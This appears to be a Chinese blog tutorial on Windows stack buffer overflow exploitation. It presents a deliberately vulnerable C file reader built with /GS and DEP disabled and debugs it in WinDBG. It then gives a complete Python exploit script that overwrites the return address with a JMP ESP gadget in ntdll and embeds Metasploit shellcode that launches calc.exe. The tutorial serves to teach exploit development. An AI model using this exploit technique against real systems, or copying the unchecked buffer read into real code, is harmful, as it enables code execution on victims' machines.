Exploit Development – Stack Overflow

在开始这篇文章之前,先说明一下,网上类似的文章非常多,这里有重造轮子之嫌,之所以写下这些,是希望可以有一个完整的过程,由浅入深。另外,内容与后面写到的参考文章差别并不大,只是额外将自己实践过程中的一些技巧整理出来,方便有兴趣的同学自己尝试。
关于栈溢出的历史回顾就不多说了,Google一下,非常多。
我们先从一个简单的例子开始:

#include <cstdio>

int main(int argc, char** argv) {
    if (argc != 2) {
        printf("Usage:\n   test.exe file_path");
        return -1;
    }
    char msg[32] = {0};
    printf("Reading msg from file...\n");
    FILE *f = fopen(argv[1], "rb");
    if (!f) {
        return -1;
    }
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(msg, 1, bytes, f);
    fclose(f);
    printf("%s\n", msg);
    return 0;
}

由于Debug版本的build会插入一些用于辅助调试的指令,建议直接使用Release版本会更方便。这段C code的作用是从指定的文件中读取内容,然后,在控制台上打印出来。

C:\Users\Administrator\Desktop\stack_overflow>test_x86_no_dep.exe msg.dat
Reading msg from file...
Hi, exploit me!

在编译过程中,将/GS和DEP都关掉,方便我们单纯地看栈溢出的问题。
在VS的option中关闭/GS
在VS的option中关闭/DEP
当我们向msg.dat中写入大量的’aaaaaaaaaaaa…aaaa’时,程序就会crash。使用WinDBG调试以后,会看到这样的情况。
Crash以后,EIP指向0x61616161

这个时候,EIP变成了0x61616161,也就是’aaaa’,这是怎么回事?
通过review code就可以看出,main函数中read content时导致栈溢出,最终覆盖了函数的返回地址。
进入main函数,拉升栈空间以后,汇编指令的情况
进入main函数,拉升栈空间以后,栈的情况
执行完fread以后,栈上的情况发生了变化。
执行完fread以后的汇编指令
栈溢出以后,返回地址被覆盖的情况
如果将msg.dat中的内容使用下面的格式写入,msg的内容会是32个’a’,EBP会被修改为0x62626262,返回地址被修改为0x63636363,返回地址以后的内存空间上会有64个’d’。

32*’a’ + 4*’b’ + 4*’c’ + 64*’d’

这样,我们就可以准确地控制EIP,以及栈上的内容,也就是说,可以将payload写入到栈上。
重新修改了msg.dat以后,在WinDBG中验证上面的猜测,可以看到crash的位置EIP已经被修改为0x63636363,当前的ESP位置上都是0x64646464,也就是’dddd’
控制EIP为0x63636363

另外一种验证的方式:既然我们知道main函数的返回地址会被覆写,那么,我们可以在对应的内存地址上设置硬件断点,这样,可以看到内存地址是在如何被修改的。
通过硬件断点分析溢出的情况

现在我们可以控制EIP,也可以在栈上写入更多的内容,那么,我们可以继续往栈上写入。因为栈地址(也就是ESP的地址)每次启动程序都是不一样的,所以,我们需要一个跳板指令,可以稳定地执行到部署在ESP上的shellcode。
类似于:JMP ESP或CALL ESP等
可以使用Colan Team写的WinDBG插件 MONA.py完成搜索指令的工作,具体相应的安装使用指南,可以参考:
https://pykd.codeplex.com/
https://github.com/corelan/mona
https://github.com/corelan/windbglib

使用lm命令可以看到当前加载的modules:
查看当前进程中的modules
我们在kernel32.dll, ntdll.dll, msvcr110.dll中搜索JMP ESP的指令,可以看到,有不少满足条件的位置。
使用mona搜索JMP ESP

在这里,我们直接使用第一个0x77cdc16f,这个地址是在ntdll.dll地址空间中。

0:000> ?0x77cdc16f-ntdll
Evaluate expression: 180591 = 0002c16f
0:000> ? ntdll
Evaluate expression: 2009792512 = 77cb0000

使用下面的Python脚本准备一个msg.dat,其作用是使用JMP ESP来覆盖返回地址,在ESP后续的位置上写入pop calc.exe的shellcode。关于shellcode,可以使用metasploit shellcode generator自动生成,详细可以参考:
https://www.offensive-security.com/metasploit-unleashed/generating-payloads/

import struct

output = r'msg.dat'

# ntdll.dll
ntdll = 0x77cb0000

# windows/exec - 193 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process, 
# CMD=calc.exe
buf =  ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
buf += "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
buf += "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
buf += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
buf += "\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"

with open(output, 'wb') as f:
    ebp = 'b'*4
    # 0x77cdc16f jmp esp
    ret_eip = struct.pack('<I', ntdll + 0x2c16f)
    shellcode = buf
    data = 'a'*32 + ebp + ret_eip + shellcode
    f.write(data)

在函数返回之前,可以看到ESP的位置已经被JMP ESP所覆盖,返回地址以后的内容也被覆盖为pop calc.exe的shellcode。
覆盖返回地址,执行JMP ESP

F5继续执行,可以看到期待已久的计算器了。
弹出计算器

主要参考:

  1. Colan Team的blog中有专门介绍exploit writing相关的文章:
    https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
  2. 看雪BBS上,泉哥等人翻译过上面的文章:
    http://bbs.pediy.com/showthread.php?t=101217&highlight=exploit+writing
  3. 去年老外写的一篇教程比较新,包含了上面的大部分内容,同时,也介绍了EMET5.2的部分feature和IE 10/11的内部数据结构,以及God Mode的具体实现剖析。
    http://expdev-kiuhnm.rhcloud.com/2015/05/11/contents/
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值